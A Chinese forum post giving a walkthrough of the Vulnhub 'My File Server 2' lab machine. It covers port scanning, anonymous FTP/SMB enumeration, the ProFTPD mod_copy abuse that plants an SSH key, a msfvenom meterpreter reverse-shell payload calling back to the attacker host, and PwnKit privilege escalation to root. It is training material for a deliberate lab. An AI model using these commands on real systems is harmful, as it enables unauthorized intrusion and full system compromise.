Vulnhub之My File Server 2靶机详细测试过程(利用Metasploit实现本地提权 ...

打印 上一主题 下一主题

主题 963|帖子 963|积分 2889

My File Server 2

作者:jason huawen
靶机信息

名称:My File Server: 2
地址:
  1. https://www.vulnhub.com/entry/my-file-server-2,442/
复制代码
将上述靶机的虚拟机导入到VirtualBox,并设置网络模式为host-only,与攻击机Kali Linux为同一局域网。
识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                       
  4.                                                                                                                                                             
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                          
  10. 192.168.56.100  08:00:27:15:69:14      1      60  PCS Systemtechnik GmbH                                                                                   
  11. 192.168.56.104  08:00:27:4f:61:58      1      60  PCS Systemtechnik GmbH         
复制代码
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.104
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.104 -oN nmap_full_scan
  3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-02 21:40 EDT
  4. Nmap scan report for bogon (192.168.56.104)
  5. Host is up (0.00052s latency).
  6. Not shown: 64445 filtered tcp ports (no-response), 78 filtered tcp ports (host-prohibited), 1004 closed tcp ports (reset)
  7. PORT      STATE SERVICE     VERSION
  8. 21/tcp    open  ftp         vsftpd 3.0.2
  9. | ftp-anon: Anonymous FTP login allowed (FTP code 230)
  10. |_drwxrwxrwx    3 0        0              16 Feb 19  2020 pub [NSE: writeable]
  11. | ftp-syst:
  12. |   STAT:
  13. | FTP server status:
  14. |      Connected to ::ffff:192.168.56.230
  15. |      Logged in as ftp
  16. |      TYPE: ASCII
  17. |      No session bandwidth limit
  18. |      Session timeout in seconds is 300
  19. |      Control connection is plain text
  20. |      Data connections will be plain text
  21. |      At session startup, client count was 4
  22. |      vsFTPd 3.0.2 - secure, fast, stable
  23. |_End of status
  24. 22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
  25. | ssh-hostkey:
  26. |   2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
  27. |   256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
  28. |_  256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
  29. 80/tcp    open  http        Apache httpd 2.4.6 ((CentOS))
  30. | http-methods:
  31. |_  Potentially risky methods: TRACE
  32. |_http-title: My File Server
  33. |_http-server-header: Apache/2.4.6 (CentOS)
  34. 111/tcp   open  rpcbind     2-4 (RPC #100000)
  35. | rpcinfo:
  36. |   program version    port/proto  service
  37. |   100000  2,3,4        111/tcp   rpcbind
  38. |   100000  2,3,4        111/udp   rpcbind
  39. |   100000  3,4          111/tcp6  rpcbind
  40. |   100000  3,4          111/udp6  rpcbind
  41. |   100003  3,4         2049/tcp   nfs
  42. |   100003  3,4         2049/tcp6  nfs
  43. |   100003  3,4         2049/udp   nfs
  44. |   100003  3,4         2049/udp6  nfs
  45. |   100005  1,2,3      20048/tcp   mountd
  46. |   100005  1,2,3      20048/tcp6  mountd
  47. |   100005  1,2,3      20048/udp   mountd
  48. |   100005  1,2,3      20048/udp6  mountd
  49. |   100021  1,3,4      35080/tcp   nlockmgr
  50. |   100021  1,3,4      40393/udp6  nlockmgr
  51. |   100021  1,3,4      45446/tcp6  nlockmgr
  52. |   100021  1,3,4      60480/udp   nlockmgr
  53. |   100024  1          36358/udp6  status
  54. |   100024  1          48374/udp   status
  55. |   100024  1          51953/tcp   status
  56. |   100024  1          58193/tcp6  status
  57. |   100227  3           2049/tcp   nfs_acl
  58. |   100227  3           2049/tcp6  nfs_acl
  59. |   100227  3           2049/udp   nfs_acl
  60. |_  100227  3           2049/udp6  nfs_acl
  61. 445/tcp   open  netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
  62. 2049/tcp  open  nfs_acl     3 (RPC #100227)
  63. 2121/tcp  open  ftp         ProFTPD 1.3.5
  64. | ftp-anon: Anonymous FTP login allowed (FTP code 230)
  65. |_Can't get directory listing: ERROR
  66. 20048/tcp open  mountd      1-3 (RPC #100005)
  67. MAC Address: 08:00:27:4F:61:58 (Oracle VirtualBox virtual NIC)
  68. Service Info: Host: FILESERVER; OS: Unix
  69. Host script results:
  70. | smb2-security-mode:
  71. |   3.1.1:
  72. |_    Message signing enabled but not required
  73. | smb2-time:
  74. |   date: 2023-04-03T01:41:43
  75. |_  start_date: N/A
  76. | smb-security-mode:
  77. |   account_used: <blank>
  78. |   authentication_level: user
  79. |   challenge_response: supported
  80. |_  message_signing: disabled (dangerous, but default)
  81. | smb-os-discovery:
  82. |   OS: Windows 6.1 (Samba 4.9.1)
  83. |   Computer name: localhost
  84. |   NetBIOS computer name: FILESERVER\x00
  85. |   Domain name: \x00
  86. |   FQDN: localhost
  87. |_  System time: 2023-04-03T07:11:44+05:30
  88. |_clock-skew: mean: -1h49m59s, deviation: 3h10m30s, median: -1s
  89. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  90. Nmap done: 1 IP address (1 host up) scanned in 87.49 seconds
复制代码
获得Shell

由于目标主机有多个开放端口,因此需要逐一对各个端口进行信息收集。
端口21
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ ftp 192.168.56.104
  3. Connected to 192.168.56.104.
  4. 220 (vsFTPd 3.0.2)
  5. Name (192.168.56.104:kali): anonymous
  6. 331 Please specify the password.
  7. Password:
  8. 230 Login successful.
  9. Remote system type is UNIX.
  10. Using binary mode to transfer files.
  11. ftp> ls -alh
  12. 229 Entering Extended Passive Mode (|||5547|).
  13. 150 Here comes the directory listing.
  14. drwxr-xr-x    3 0        0              16 Feb 18  2020 .
  15. drwxr-xr-x    3 0        0              16 Feb 18  2020 ..
  16. drwxrwxrwx    3 0        0              16 Feb 19  2020 pub
  17. 226 Directory send OK.
  18. ftp> cd pub
  19. 250 Directory successfully changed.
  20. ftp> ls -alh
  21. 229 Entering Extended Passive Mode (|||5861|).
  22. 150 Here comes the directory listing.
  23. drwxrwxrwx    3 0        0              16 Feb 19  2020 .
  24. drwxr-xr-x    3 0        0              16 Feb 18  2020 ..
  25. drwxr-xr-x    9 0        0            4096 Feb 19  2020 log
  26. 226 Directory send OK.
  27. ftp> cd log
  28. 250 Directory successfully changed.
  29. ftp> ls -alh
  30. 229 Entering Extended Passive Mode (|||5001|).
  31. 150 Here comes the directory listing.
  32. drwxr-xr-x    9 0        0            4096 Feb 19  2020 .
  33. drwxrwxrwx    3 0        0              16 Feb 19  2020 ..
  34. drwxr-xr-x    2 0        0            4096 Feb 19  2020 anaconda
  35. drwxr-x---    2 0        0              22 Feb 19  2020 audit
  36. -rw-r--r--    1 0        0            7033 Feb 19  2020 boot.log
  37. -rw-------    1 0        0           10752 Feb 19  2020 btmp
  38. -rw-r--r--    1 0        0            9161 Feb 19  2020 cron
  39. -rw-r--r--    1 0        0           31971 Feb 19  2020 dmesg
  40. -rw-r--r--    1 0        0           31971 Feb 19  2020 dmesg.old
  41. drwxr-xr-x    2 0        0               6 Feb 19  2020 glusterfs
  42. drwx------    2 0        0              39 Feb 19  2020 httpd
  43. -rw-r--r--    1 0        0          292584 Feb 19  2020 lastlog
  44. -rw-------    1 0        0            3764 Feb 19  2020 maillog
  45. -rw-------    1 0        0         1423423 Feb 19  2020 messages
  46. drwx------    2 0        0               6 Feb 19  2020 ppp
  47. drwx------    4 0        0              43 Feb 19  2020 samba
  48. -rw-------    1 0        0           63142 Feb 19  2020 secure
  49. -rw-------    1 0        0               0 Feb 19  2020 spooler
  50. -rw-------    1 0        0               0 Feb 19  2020 tallylog
  51. drwxr-xr-x    2 0        0              22 Feb 19  2020 tuned
  52. -rw-r--r--    1 0        0           58752 Feb 19  2020 wtmp
  53. -rw-------    1 0        0             100 Feb 19  2020 xferlog
  54. -rw-------    1 0        0           18076 Feb 19  2020 yum.log
  55. 226 Directory send OK.
复制代码
虽然目标主机允许匿名用户访问,但是目录中的文件没有太大价值。
端口445
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ smbclient -L 192.168.56.104      
  3. Password for [WORKGROUP\kali]:
  4. Anonymous login successful
  5.         Sharename       Type      Comment
  6.         ---------       ----      -------
  7.         print$          Disk      Printer Drivers
  8.         smbdata         Disk      smbdata
  9.         smbuser         Disk      smbuser
  10.         IPC$            IPC       IPC Service (Samba 4.9.1)
  11. Reconnecting with SMB1 for workgroup listing.
  12. do_connect: Connection to 192.168.56.104 failed (Error NT_STATUS_HOST_UNREACHABLE)
  13. Unable to connect with SMB1 -- no workgroup available
复制代码
有两个共享目录smbdata, smbuser
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ smbclient //192.168.56.104/smbdata
  3. Password for [WORKGROUP\kali]:
  4. Anonymous login successful
  5. Try "help" to get a list of possible commands.
  6. smb: \> ls
  7.   .                                   D        0  Fri Feb 21 01:50:09 2020
  8.   ..                                  D        0  Tue Feb 18 06:47:54 2020
  9.   anaconda                            D        0  Tue Feb 18 06:48:15 2020
  10.   audit                               D        0  Tue Feb 18 06:48:15 2020
  11.   boot.log                            N     6120  Tue Feb 18 06:48:16 2020
  12.   btmp                                N      384  Tue Feb 18 06:48:16 2020
  13.   cron                                N     4813  Tue Feb 18 06:48:16 2020
  14.   dmesg                               N    31389  Tue Feb 18 06:48:16 2020
  15.   dmesg.old                           N    31389  Tue Feb 18 06:48:16 2020
  16.   glusterfs                           D        0  Tue Feb 18 06:48:16 2020
  17.   lastlog                             N   292292  Tue Feb 18 06:48:16 2020
  18.   maillog                             N     1982  Tue Feb 18 06:48:16 2020
  19.   messages                            N   684379  Tue Feb 18 06:48:17 2020
  20.   ppp                                 D        0  Tue Feb 18 06:48:17 2020
  21.   samba                               D        0  Tue Feb 18 06:48:17 2020
  22.   secure                              N    11937  Tue Feb 18 06:48:17 2020
  23.   spooler                             N        0  Tue Feb 18 06:48:17 2020
  24.   tallylog                            N        0  Tue Feb 18 06:48:17 2020
  25.   tuned                               D        0  Tue Feb 18 06:48:17 2020
  26.   wtmp                                N    25728  Tue Feb 18 06:48:17 2020
  27.   xferlog                             N      100  Tue Feb 18 06:48:17 2020
  28.   yum.log                             N    10915  Tue Feb 18 06:48:17 2020
  29.   sshd_config                         N     3906  Wed Feb 19 02:46:38 2020
  30.   authorized_keys                     A      389  Fri Feb 21 01:50:09 2020
  31.                 19976192 blocks of size 1024. 18285180 blocks available
  32. smb: \> get authorized_keys
  33. getting file \authorized_keys of size 389 as authorized_keys (3.5 KiloBytes/sec) (average 3.5 KiloBytes/sec)
  34. smb: \> pwd
  35. Current directory is \\192.168.56.104\smbdata\
  36. smb: \> put test.txt
  37. putting file test.txt as \test.txt (5.9 kb/s) (average 5.9 kb/s)
复制代码

  • 允许上传文件到smbdata目录,这点很重要,后续可将特定的文件上传至该目录
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ smbclient //192.168.56.104/smbuser
  3. Password for [WORKGROUP\kali]:
  4. Anonymous login successful
  5. tree connect failed: NT_STATUS_ACCESS_DENIED
复制代码

  • 不允许匿名访问smbuser目录
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ enum4linux 192.168.56.104
  3. [+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                 
  4.                                                                                                                                                             
  5. S-1-22-1-1000 Unix User\smbuser (Local User)                                                                                                                 
复制代码
利用enum4linux识别出用户名smbuser
端口2121
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ ftp 192.168.56.104 -P 2121
  3. Connected to 192.168.56.104.
  4. 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.104]
  5. Name (192.168.56.104:kali): anonymous
  6. 331 Anonymous login ok, send your complete email address as your password
  7. Password:
  8. 230 Anonymous access granted, restrictions apply
  9. Remote system type is UNIX.
  10. Using binary mode to transfer files.
  11. ftp> ls -alh
  12. 229 Entering Extended Passive Mode (|||65233|)
  13. ftp: Can't connect to `192.168.56.104:65233': No route to host
  14. 200 EPRT command successful
  15. 150 Opening ASCII mode data connection for file list
  16. drwxr-xr-x   3 root     root           16 Feb 18  2020 .
  17. drwxr-xr-x   3 root     root           16 Feb 18  2020 ..
  18. drwxrwxrwx   3 root     root           16 Feb 19  2020 pub
  19. 226 Transfer complete
  20. ftp> cd pub
  21. 250 CWD command successful
  22. ftp> ls -alh
  23. 200 EPRT command successful
  24. 150 Opening ASCII mode data connection for file list
  25. drwxrwxrwx   3 root     root           16 Feb 19  2020 .
  26. drwxr-xr-x   3 root     root           16 Feb 18  2020 ..
  27. drwxr-xr-x   9 root     root         4.0k Feb 19  2020 log
  28. 226 Transfer complete
  29. ftp> cd log
  30. 250 CWD command successful
  31. ftp> ls -alh
  32. 200 EPRT command successful
  33. 150 Opening ASCII mode data connection for file list
  34. drwxr-xr-x   9 root     root         4.0k Feb 19  2020 .
  35. drwxrwxrwx   3 root     root           16 Feb 19  2020 ..
  36. drwxr-xr-x   2 root     root         4.0k Feb 19  2020 anaconda
  37. drwxr-x---   2 root     root           22 Feb 19  2020 audit
  38. -rw-r--r--   1 root     root         6.9k Feb 19  2020 boot.log
  39. -rw-------   1 root     root        10.5k Feb 19  2020 btmp
  40. -rw-r--r--   1 root     root         8.9k Feb 19  2020 cron
  41. -rw-r--r--   1 root     root        31.2k Feb 19  2020 dmesg
  42. -rw-r--r--   1 root     root        31.2k Feb 19  2020 dmesg.old
  43. drwxr-xr-x   2 root     root            6 Feb 19  2020 glusterfs
  44. drwx------   2 root     root           39 Feb 19  2020 httpd
  45. -rw-r--r--   1 root     root       285.7k Feb 19  2020 lastlog
  46. -rw-------   1 root     root         3.7k Feb 19  2020 maillog
  47. -rw-------   1 root     root         1.4M Feb 19  2020 messages
  48. drwx------   2 root     root            6 Feb 19  2020 ppp
  49. drwx------   4 root     root           43 Feb 19  2020 samba
  50. -rw-------   1 root     root        61.7k Feb 19  2020 secure
  51. -rw-------   1 root     root            0 Feb 19  2020 spooler
  52. -rw-------   1 root     root            0 Feb 19  2020 tallylog
  53. drwxr-xr-x   2 root     root           22 Feb 19  2020 tuned
  54. -rw-r--r--   1 root     root        57.4k Feb 19  2020 wtmp
  55. -rw-------   1 root     root          100 Feb 19  2020 xferlog
  56. -rw-------   1 root     root        17.7k Feb 19  2020 yum.log
  57. 226 Transfer complete
复制代码

  • 允许匿名FTP访问
  • 目录内容与21端口已知
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ searchsploit ProFTPD 1.3.5        
  3. --------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  4. Exploit Title                                                                                                             |  Path
  5. --------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  6. ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                                  | linux/remote/37262.rb
  7. ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                                        | linux/remote/36803.py
  8. ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                                                    | linux/remote/49908.py
  9. ProFTPd 1.3.5 - File Copy                                                                                                  | linux/remote/36742.txt
  10. --------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  11. Shellcodes: No Results
复制代码

  • 存在命令执行漏洞
但是这个漏洞利用metasploit执行没有成功,还是需要利用mod copy漏洞,将本地生成的id_rsa.pub文件上传至smbuser的家目录下,
首先利用smb协议将id_rsa.pub上传至/smbdata目录下,然你利用mod copy漏洞移动该文件并重命名为authorized_keys
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ ssh-keygen                          
  3. Generating public/private rsa key pair.
  4. Enter file in which to save the key (/home/kali/.ssh/id_rsa): id_rsa
  5. Enter passphrase (empty for no passphrase):
  6. Enter same passphrase again:
  7. Your identification has been saved in id_rsa
  8. Your public key has been saved in id_rsa.pub
  9. The key fingerprint is:
  10. SHA256:GXPq6h/MYwYkQIZ6kkCZjVeQq3kZuNlsHcLf+L0RXfw kali@kali
  11. The key's randomart image is:
  12. +---[RSA 3072]----+
  13. |.+O.+.           |
  14. |o= =        .    |
  15. |o.+ o . o .  o   |
  16. |+..= +   *. . .  |
  17. | oB * = S. .   E |
  18. | = * + *  .      |
  19. |  o   . X.       |
  20. |       = +.      |
  21. |     .o....      |
  22. +----[SHA256]-----+
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ smbclient //192.168.56.104/smbdata
  3. Password for [WORKGROUP\kali]:
  4. Anonymous login successful
  5. Try "help" to get a list of possible commands.
  6. smb: \> put id_rsa.pub
  7. putting file id_rsa.pub as \id_rsa.pub (137.4 kb/s) (average 137.5 kb/s)
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ telnet 192.168.56.104 2121
  3. Trying 192.168.56.104...
  4. Connected to 192.168.56.104.
  5. Escape character is '^]'.
  6. 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.104]
  7. SITE CPFR /smbdata/id_rsa.pub
  8. 350 File or directory exists, ready for destination name
  9. SITE CPTO /home/smbuser/.ssh/authorized_keys
  10. 250 Copy successful
复制代码
这样就利用了ProFTPd的mod copy漏洞将id_rsa.pub公钥文件上传至smbuser的家目录
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/MyFileServer2]
  2. └─$ ssh -i id_rsa smbuser@192.168.56.104               
  3.    ##############################################################################################
  4.    #                                      Armour Infosec                                        #
  5.    #                         --------- www.armourinfosec.com ------------                       #
  6.    #                                    My File Server - 2                                      #
  7.    #                               Designed By  :- Akanksha Sachin Verma                        #
  8.    #                               Twitter      :- @akankshavermasv                             #
  9.    ##############################################################################################
  10. Last login: Fri Feb 21 12:39:36 2020
  11. [smbuser@fileserver ~]$ id
  12. uid=1000(smbuser) gid=1000(smbuser) groups=1000(smbuser)
  13. [smbuser@fileserver ~]$
复制代码
这样我们成功的得到了用户smbuser的Shell
提权

接下来用metaploit工具进行提权,首先利用msfvenom工具构建payload:
  1. $ msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.56.230 LPORT=6666 -f elf -o escalator.elf
复制代码
将上述escalator.elf上传至目标主机的/tmp目录,并添加可执行权限
同时在Kali Linux上启动msfconsole,
  1. msf6 > use exploit/multi/handler
  2. msf6 exploit(multi/handler) > set payload linux/x86/meterpreter_reverse_tcp
复制代码
  1. msf6 exploit(multi/handler) > set LHOST 192.168.56.230
  2. LHOST => 192.168.56.230
  3. msf6 exploit(multi/handler) > set LPORT 6666
  4. LPORT => 6666
  5. msf6 exploit(multi/handler) > run
  6. [*] Started reverse TCP handler on 192.168.56.230:6666
  7. [*] Meterpreter session 1 opened (192.168.56.230:6666 -> 192.168.56.104:41659) at 2023-04-02 22:39:49 -0400
复制代码
这样就得到了meterpreter session,利用这个Meterpreter session进行提权
  1. meterpreter > run post/multi/recon/local_exploit_suggester
  2. [*] 192.168.56.104 - Collecting local exploits for x86/linux...
  3. [*] 192.168.56.104 - 167 exploit checks are being tried...
  4. [+] 192.168.56.104 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
  5. [+] 192.168.56.104 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
  6. [+] 192.168.56.104 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
  7. [+] 192.168.56.104 - exploit/linux/local/pkexec: The service is running, but could not be validated.
  8. [+] 192.168.56.104 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
  9. [+] 192.168.56.104 - exploit/linux/local/su_login: The target appears to be vulnerable.
  10. [*] Running check method for exploit 48 / 48
  11. [*] 192.168.56.104 - Valid modules for session 1:
  12. ============================
  13. #   Name                                                               Potentially Vulnerable?  Check Result
  14. -   ----                                                               -----------------------  ------------
  15. 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
  16. 2   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
  17. 3   exploit/linux/local/network_manager_vpnc_username_priv_esc         Yes                      The service is running, but could not be validated.
  18. 4   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
  19. 5   exploit/linux/local/ptrace_sudo_token_priv_esc                     Yes                      The service is running, but could not be validated.
  20. 6   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
复制代码
有多个模块可以用于提权,选择第一个
  1. meterpreter > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
复制代码
  1. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options
  2. Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
  3.    Name          Current Setting  Required  Description
  4.    ----          ---------------  --------  -----------
  5.    PKEXEC_PATH                    no        The path to pkexec binary
  6.    SESSION                        yes       The session to run this module on
  7.    WRITABLE_DIR  /tmp             yes       A directory where we can write files
  8. Payload options (linux/x64/meterpreter/reverse_tcp):
  9.    Name   Current Setting  Required  Description
  10.    ----   ---------------  --------  -----------
  11.    LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
  12.    LPORT  4444             yes       The listen port
  13. Exploit target:
  14.    Id  Name
  15.    --  ----
  16.    0   x86_64
  17. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.56.230
  18. LHOST => 192.168.56.230
  19. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 8888
  20. LPORT => 8888
  21. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 1
  22. SESSION => 1
  23. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
  24. [*] Started reverse TCP handler on 192.168.56.230:8888
  25. [*] Running automatic check ("set AutoCheck false" to disable)
  26. [!] Verify cleanup of /tmp/.alwwwbblxxel
  27. [+] The target is vulnerable.
  28. [*] Writing '/tmp/.arzick/ndpnoo/ndpnoo.so' (548 bytes) ...
  29. [!] Verify cleanup of /tmp/.arzick
  30. [*] Sending stage (3020772 bytes) to 192.168.56.104
  31. [+] Deleted /tmp/.arzick/ndpnoo/ndpnoo.so
  32. [+] Deleted /tmp/.arzick/.bawgxle
  33. [+] Deleted /tmp/.arzick
  34. [*] Meterpreter session 2 opened (192.168.56.230:8888 -> 192.168.56.104:47993) at 2023-04-02 22:45:10 -0400
  35. id
  36. meterpreter > id
  37. [-] Unknown command: id
  38. meterpreter > getuid
  39. Server username: root
  40. meterpreter > shell
  41. Process 22664 created.
  42. Channel 1 created.
  43. id
  44. uid=0(root) gid=0(root) groups=0(root),1000(smbuser)
  45. cd /root
  46. ls -alh
  47. total 44K
  48. drwxr--r--.  4 root   root   4.0K Feb 21  2020 .
  49. dr-xr-xr-x. 18 root   root   4.0K Feb 18  2020 ..
  50. -rwxr--r--.  1 root   root    131 Feb 21  2020 .bash_history
  51. -rwxr--r--.  1 root   root     18 Dec 29  2013 .bash_logout
  52. -rwxr--r--.  1 root   root    176 Dec 29  2013 .bash_profile
  53. -rwxr--r--.  1 root   root    176 Dec 29  2013 .bashrc
  54. -rwxr--r--.  1 root   root    100 Dec 29  2013 .cshrc
  55. drwxr--r--.  3 root   root     18 Feb 18  2020 .pki
  56. drwxr--r--   2 root   root      6 Feb 19  2020 .ssh
  57. -rwxr--r--.  1 root   root    129 Dec 29  2013 .tcshrc
  58. -rwxr--r--   1 root   root   6.2K Feb 21  2020 .viminfo
  59. -rwxr--r--   1 nobody nobody   48 Feb 20  2020 proof.txt
  60. cat proof.txt
  61. Best of Luck
  62. af52e0163b03cbf7c6dd146351594a43
复制代码
至此拿到了root shell和root flag.
经验教训


  • 当遇到靶机有proFTPD时,那么很有可能需要利用mod_copy漏洞拷贝文件实现Shell的获取
  • 虽然searchsploit本身直接给出了proFTPD 1.3.5版本的可执行命令漏洞,但是并没有成功。
  • 可以用smb协议将所创建的id_rsa.pub公钥文件长传之smbdata目录,注意这里的smbdata目录为根下面的一级目录,或者说是绝对路径,然后利用proFTPD将该文件拷贝(并重命名)到/home/smbuser/.ssh/目录,因为通过enum4linux工具已经知道了目标主机存在用户名smbuser
  • 本靶机利用了metasploit工具来实现本地提权,感觉比较爽。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

水军大提督

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表